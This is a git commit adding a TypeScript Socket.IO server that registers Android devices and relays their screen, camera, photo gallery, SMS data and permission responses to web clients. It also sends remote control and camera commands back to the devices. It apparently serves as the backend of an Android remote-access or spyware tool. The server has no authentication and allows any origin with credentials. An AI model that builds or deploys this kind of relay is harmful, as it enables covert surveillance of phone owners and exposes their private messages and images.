111
This commit is contained in:
320
src/server.ts
Normal file
320
src/server.ts
Normal file
@@ -0,0 +1,320 @@
|
||||
import express from 'express';
|
||||
import http from 'http';
|
||||
import cors from 'cors';
|
||||
import { Server } from 'socket.io';
|
||||
import DeviceManager from './managers/DeviceManager';
|
||||
import WebClientManager from './managers/WebClientManager';
|
||||
import { DatabaseService } from './services/DatabaseService';
|
||||
import MessageRouter from './services/MessageRouter';
|
||||
import Logger from './utils/Logger';
|
||||
|
||||
const app = express();
|
||||
const server = http.createServer(app);
|
||||
const logger = new Logger('Server');
|
||||
|
||||
// CORS配置
|
||||
app.use(cors({
|
||||
origin: "*",
|
||||
methods: ["GET", "POST"],
|
||||
credentials: true
|
||||
}));
|
||||
|
||||
app.use(express.json());
|
||||
|
||||
// ✅ Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
|
||||
const io = new Server(server, {
|
||||
cors: {
|
||||
origin: "*",
|
||||
methods: ["GET", "POST"],
|
||||
credentials: true
|
||||
},
|
||||
// 🔧 心跳机制优化(v4已解决心跳方向问题)
|
||||
pingInterval: 25000, // 25秒发送一次ping(服务器->客户端)
|
||||
pingTimeout: 60000, // 60秒等待pong响应
|
||||
upgradeTimeout: 30000, // 30秒传输升级超时
|
||||
|
||||
// 🔧 传输优化
|
||||
transports: ['websocket', 'polling'],
|
||||
allowEIO3: false, // 不支持旧版本协议
|
||||
|
||||
// 🔧 缓冲区和数据包优化
|
||||
maxHttpBufferSize: 10e6, // 10MB缓冲区
|
||||
allowUpgrades: true,
|
||||
|
||||
// 🔧 连接管理
|
||||
connectTimeout: 45000, // 连接超时
|
||||
serveClient: false, // 不提供客户端文件
|
||||
|
||||
// 🔧 Engine.IO 配置
|
||||
cookie: {
|
||||
name: "io",
|
||||
httpOnly: true,
|
||||
sameSite: "strict"
|
||||
}
|
||||
});
|
||||
|
||||
// 管理器初始化
|
||||
const databaseService = new DatabaseService();
|
||||
const deviceManager = new DeviceManager();
|
||||
const webClientManager = new WebClientManager(databaseService);
|
||||
const messageRouter = new MessageRouter(deviceManager, webClientManager, databaseService);
|
||||
|
||||
// 设置Socket.IO实例
|
||||
webClientManager.setSocketIO(io);
|
||||
|
||||
// 健康检查端点
|
||||
app.get('/health', (req, res) => {
|
||||
const stats = {
|
||||
status: 'ok',
|
||||
timestamp: new Date().toISOString(),
|
||||
devices: deviceManager.getDeviceCount(),
|
||||
webClients: webClientManager.getClientCount(),
|
||||
uptime: process.uptime()
|
||||
};
|
||||
res.json(stats);
|
||||
});
|
||||
|
||||
|
||||
// Socket.IO连接处理
|
||||
io.on('connection', (socket) => {
|
||||
logger.info(`🔌 新连接: ${socket.id} (IP: ${socket.handshake.address})`);
|
||||
|
||||
// 连接质量监控
|
||||
const connectionStart = Date.now();
|
||||
|
||||
// 设备注册事件
|
||||
socket.on('device_register', (deviceInfo) => {
|
||||
logger.info(`📱 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
||||
|
||||
const device: any = {
|
||||
id: deviceInfo.deviceId,
|
||||
socketId: socket.id,
|
||||
name: deviceInfo.deviceName,
|
||||
model: deviceInfo.deviceModel,
|
||||
osVersion: deviceInfo.osVersion,
|
||||
appVersion: deviceInfo.appVersion,
|
||||
screenWidth: deviceInfo.screenWidth,
|
||||
screenHeight: deviceInfo.screenHeight,
|
||||
capabilities: deviceInfo.capabilities,
|
||||
connectedAt: new Date(),
|
||||
lastSeen: new Date(),
|
||||
status: 'online' as const
|
||||
};
|
||||
|
||||
deviceManager.addDevice(device);
|
||||
databaseService.saveDevice(deviceInfo, socket.id);
|
||||
|
||||
// 通知所有Web客户端有新设备连接
|
||||
const activeWebClients = Array.from(webClientManager.getAllClients()).filter(client => {
|
||||
const socket = io.sockets.sockets.get(client.socketId);
|
||||
return socket && socket.connected;
|
||||
}).length;
|
||||
logger.info(`📢 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
|
||||
webClientManager.broadcastToAll('device_connected', {
|
||||
device: deviceManager.getDevice(deviceInfo.deviceId)
|
||||
});
|
||||
|
||||
// ui_hierarchy_response监听器已在全局设置,无需重复添加
|
||||
});
|
||||
|
||||
// Web客户端注册事件
|
||||
socket.on('web_client_register', (clientInfo) => {
|
||||
logger.info(`🌐 Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
|
||||
|
||||
const clientData = {
|
||||
id: socket.id,
|
||||
socketId: socket.id,
|
||||
userAgent: clientInfo.userAgent || 'unknown',
|
||||
ip: socket.handshake.address || 'unknown',
|
||||
connectedAt: new Date(),
|
||||
lastSeen: new Date()
|
||||
};
|
||||
|
||||
webClientManager.addClient(clientData);
|
||||
|
||||
// 发送当前设备列表
|
||||
const devices = deviceManager.getAllDevices();
|
||||
socket.emit('device_list', devices);
|
||||
});
|
||||
|
||||
// 屏幕数据路由
|
||||
socket.on('screen_data', (data) => {
|
||||
messageRouter.routeScreenData(socket.id, data);
|
||||
});
|
||||
|
||||
// 摄像头数据路由
|
||||
socket.on('camera_data', (data) => {
|
||||
messageRouter.routeCameraData(socket.id, data);
|
||||
});
|
||||
|
||||
// 相册图片数据路由
|
||||
socket.on('gallery_image', (data) => {
|
||||
messageRouter.routeGalleryImage(socket.id, data);
|
||||
});
|
||||
|
||||
// 短信数据路由
|
||||
socket.on('sms_data', (data) => {
|
||||
messageRouter.routeSmsData(socket.id, data);
|
||||
});
|
||||
|
||||
// 控制命令路由
|
||||
socket.on('control_command', (message) => {
|
||||
messageRouter.routeControlMessage(socket.id, message);
|
||||
});
|
||||
|
||||
// 摄像头控制命令路由
|
||||
socket.on('camera_control', (message) => {
|
||||
// 将摄像头控制消息转换为标准控制消息格式
|
||||
const controlMessage = {
|
||||
type: message.action, // CAMERA_START, CAMERA_STOP, CAMERA_SWITCH
|
||||
deviceId: message.deviceId,
|
||||
data: message.data || {},
|
||||
timestamp: Date.now()
|
||||
};
|
||||
messageRouter.routeControlMessage(socket.id, controlMessage);
|
||||
});
|
||||
|
||||
// 测试连接监听器
|
||||
socket.on('CONNECTION_TEST', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到连接测试: ${JSON.stringify(data)}`);
|
||||
|
||||
// 🔧 修复:回复确认消息给Android端,避免心跳失败累积
|
||||
try {
|
||||
socket.emit('CONNECTION_TEST_RESPONSE', {
|
||||
success: true,
|
||||
timestamp: Date.now(),
|
||||
receivedData: data
|
||||
});
|
||||
logger.debug(`✅ 已回复CONNECTION_TEST确认消息`);
|
||||
} catch (error) {
|
||||
logger.error(`❌ 回复CONNECTION_TEST失败:`, error);
|
||||
}
|
||||
});
|
||||
|
||||
// 简单测试事件监听器
|
||||
socket.on('SIMPLE_TEST_EVENT', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
|
||||
// 调试:UI响应前的测试消息
|
||||
socket.on('debug_test_before_ui', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到UI响应前调试测试!!! Socket: ${socket.id}`);
|
||||
logger.info(`🧪 测试数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
|
||||
// 简单测试消息监听器
|
||||
socket.on('simple_test', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
|
||||
// UI层次结构响应 (设备端响应)
|
||||
socket.on('ui_hierarchy_response', (data) => {
|
||||
logger.info(`📱📱📱 [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
|
||||
logger.info(`📋 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
|
||||
|
||||
// ✅ 参考screen_data的处理方式,直接调用专用路由方法
|
||||
const routeResult = messageRouter.routeUIHierarchyResponse(socket.id, data);
|
||||
logger.info(`📤 UI层次结构路由结果: ${routeResult}`);
|
||||
});
|
||||
|
||||
// 设备控制请求
|
||||
socket.on('request_device_control', (data) => {
|
||||
const result = webClientManager.requestDeviceControl(socket.id, data.deviceId);
|
||||
socket.emit('device_control_response', {
|
||||
success: result.success,
|
||||
message: result.message,
|
||||
deviceId: data.deviceId
|
||||
});
|
||||
});
|
||||
|
||||
// 释放设备控制
|
||||
socket.on('release_device_control', (data) => {
|
||||
const released = webClientManager.releaseDeviceControl(data.deviceId);
|
||||
if (released) {
|
||||
socket.emit('device_control_released', { deviceId: data.deviceId });
|
||||
}
|
||||
});
|
||||
|
||||
// 客户端事件路由
|
||||
socket.on('client_event', (eventData) => {
|
||||
logger.info(`收到客户端事件: ${JSON.stringify(eventData)}`);
|
||||
messageRouter.routeClientEvent(socket.id, eventData.type, eventData.data);
|
||||
});
|
||||
|
||||
// 🆕 权限申请响应(设备端响应)
|
||||
socket.on('permission_response', (data) => {
|
||||
logger.info(`📱 收到设备权限申请响应: Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
|
||||
|
||||
// 路由权限申请响应
|
||||
const routeResult = messageRouter.routePermissionResponse(socket.id, data);
|
||||
logger.info(`📤 权限申请响应路由结果: ${routeResult}`);
|
||||
});
|
||||
|
||||
|
||||
// 调试:捕获所有未处理的事件
|
||||
const originalEmit = socket.emit;
|
||||
const originalOn = socket.on;
|
||||
|
||||
// 记录所有接收到的事件
|
||||
socket.onAny((eventName, ...args) => {
|
||||
if (!['connect', 'disconnect', 'screen_data', 'device_register', 'web_client_register', 'control_command', 'client_event'].includes(eventName)) {
|
||||
logger.info(`🔍 收到未知事件: ${eventName}, 数据: ${JSON.stringify(args).substring(0, 100)}...`);
|
||||
}
|
||||
|
||||
// 特别关注UI层次结构响应
|
||||
if (eventName === 'ui_hierarchy_response') {
|
||||
logger.info(`📱📱📱 收到UI层次结构响应!!! 事件名: ${eventName}`);
|
||||
logger.info(`📋 响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
|
||||
}
|
||||
});
|
||||
|
||||
socket.on('disconnect', (reason) => {
|
||||
const duration = Math.round((Date.now() - connectionStart) / 1000);
|
||||
const quality = duration > 300 ? 'excellent' : duration > 60 ? 'good' : duration > 30 ? 'fair' : 'poor';
|
||||
|
||||
logger.info(`📴 连接断开: ${socket.id}, 原因: ${reason}, 持续时间: ${duration}秒, 质量: ${quality}`);
|
||||
|
||||
// 更新数据库中的断开连接记录
|
||||
databaseService.updateDisconnection(socket.id);
|
||||
|
||||
// 移除设备或Web客户端
|
||||
const device = deviceManager.getDeviceBySocketId(socket.id);
|
||||
if (device) {
|
||||
logger.info(`📱 设备断开: ${device.name} (${device.id})`);
|
||||
deviceManager.removeDevice(device.id);
|
||||
|
||||
// 通知所有Web客户端设备已断开
|
||||
webClientManager.broadcastToAll('device_disconnected', {
|
||||
deviceId: device.id
|
||||
});
|
||||
} else {
|
||||
// 可能是Web客户端断开
|
||||
const clientRemoved = webClientManager.removeClientBySocketId(socket.id);
|
||||
if (clientRemoved) {
|
||||
logger.info(`🌐 Web客户端断开: ${socket.id}`);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
// 全局错误处理
|
||||
process.on('unhandledRejection', (reason, promise) => {
|
||||
logger.error('未处理的Promise拒绝:', reason);
|
||||
});
|
||||
|
||||
process.on('uncaughtException', (error) => {
|
||||
logger.error('未捕获的异常:', error);
|
||||
process.exit(1);
|
||||
});
|
||||
|
||||
const PORT = process.env.PORT || 3000;
|
||||
|
||||
server.listen(PORT, () => {
|
||||
logger.info(`🚀 服务器启动在端口 ${PORT}`);
|
||||
logger.info(`📊 健康检查: http://localhost:${PORT}/health`);
|
||||
logger.info(`🔧 Socket.IO v4配置已优化 - 心跳: ${25000}ms/${60000}ms`);
|
||||
});
|
||||
|
||||
export default server;
|
||||
Reference in New Issue
Block a user